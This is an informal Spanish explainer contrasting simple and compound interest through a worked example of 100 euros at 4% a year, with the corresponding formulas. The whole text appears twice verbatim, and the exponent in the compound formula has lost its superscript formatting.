Si yo meto en el banco 100 euros que he ahorrado (por poner una cifra redonda) y en el banco me dan un 4% de interés anual, tendré 104 euros al final del año. (100 más los 4 de intereses).
Para el año siguiente, si dejo los 100 euros en el banco, con los intereses ganados puedo hacer dos cosas:
a) me quedo con esos 4 euros y me los gasto en lo que sea o los dejo en el bolsillo, de modo que sigo teniendo 100 euros en el banco. Este segundo año ganaré otros 4 euros de intereses. Esto se llama interés simple (los intereses de un periodo no rinden a su vez intereses al año siguiente).
b) o los dejo en la misma cuenta que los 100 euros iniciales, ganando intereses al 4%. Este segundo año ganaré el 4% de 104 euros, es decir 4,16 euros. Ya tengo 108,16 euros en el banco.
Esos 16 céntimos son los intereses sobre los intereses. A su vez, el tercer año nos rendirán unos intereses del 4% que es... casi un céntimo. Pueden parecer insignificantes, pero ojo, el interés compuesto posee una fuerza asombrosa: al cabo de 40 años esos centimitos de los intereses sobre los intereses hacen que tengamos más del doble del capital que si sólo cobrásemos interés sobre los 100 euros de capital inicial (interés simple).
El tercer año habré ganado el 4% de 108,16 euros, es decir 4,33 euros, y en total tendré 112,49 euros en el banco.
Puedo seguir haciendo cuentas: para cada año tengo que multiplicar lo que tengo en el banco al principio del año por 0,04 para saber lo que gano de intereses, o por 1,04 (es decir 1 más el interés al 4%) para saber lo que tengo en total al final de ese año.
Escrito como fórmula matemática: C2 = C1 x (1 + i) donde i es el interés, C1 es el capital inicial y C2 el capital final.
Para hacer el cálculo al cabo de n años, hay que multiplicar el capital inicial por (1 + i) tantas veces como años. La fórmula es por lo tanto:
n
Cfinal = Cinicial x (1 + i)
La fórmula del interés simple es más... bueno, eso, simple:
Cfinal = Cinicial x (1 + ixn)
Si yo meto en el banco 100 euros que he ahorrado (por poner una cifra redonda) y en el banco me dan un 4% de interés anual, tendré 104 euros al final del año. (100 más los 4 de intereses).
Para el año siguiente, si dejo los 100 euros en el banco, con los intereses ganados puedo hacer dos cosas:
a) me quedo con esos 4 euros y me los gasto en lo que sea o los dejo en el bolsillo, de modo que sigo teniendo 100 euros en el banco. Este segundo año ganaré otros 4 euros de intereses. Esto se llama interés simple (los intereses de un periodo no rinden a su vez intereses al año siguiente).
b) o los dejo en la misma cuenta que los 100 euros iniciales, ganando intereses al 4%. Este segundo año ganaré el 4% de 104 euros, es decir 4,16 euros. Ya tengo 108,16 euros en el banco.
Esos 16 céntimos son los intereses sobre los intereses. A su vez, el tercer año nos rendirán unos intereses del 4% que es... casi un céntimo. Pueden parecer insignificantes, pero ojo, el interés compuesto posee una fuerza asombrosa: al cabo de 40 años esos centimitos de los intereses sobre los intereses hacen que tengamos más del doble del capital que si sólo cobrásemos interés sobre los 100 euros de capital inicial (interés simple).
El tercer año habré ganado el 4% de 108,16 euros, es decir 4,33 euros, y en total tendré 112,49 euros en el banco.
Puedo seguir haciendo cuentas: para cada año tengo que multiplicar lo que tengo en el banco al principio del año por 0,04 para saber lo que gano de intereses, o por 1,04 (es decir 1 más el interés al 4%) para saber lo que tengo en total al final de ese año.
Escrito como fórmula matemática: C2 = C1 x (1 + i) donde i es el interés, C1 es el capital inicial y C2 el capital final.
Para hacer el cálculo al cabo de n años, hay que multiplicar el capital inicial por (1 + i) tantas veces como años. La fórmula es por lo tanto:
n
Cfinal = Cinicial x (1 + i)
La fórmula del interés simple es más... bueno, eso, simple:
Cfinal = Cinicial x (1 + ixn)
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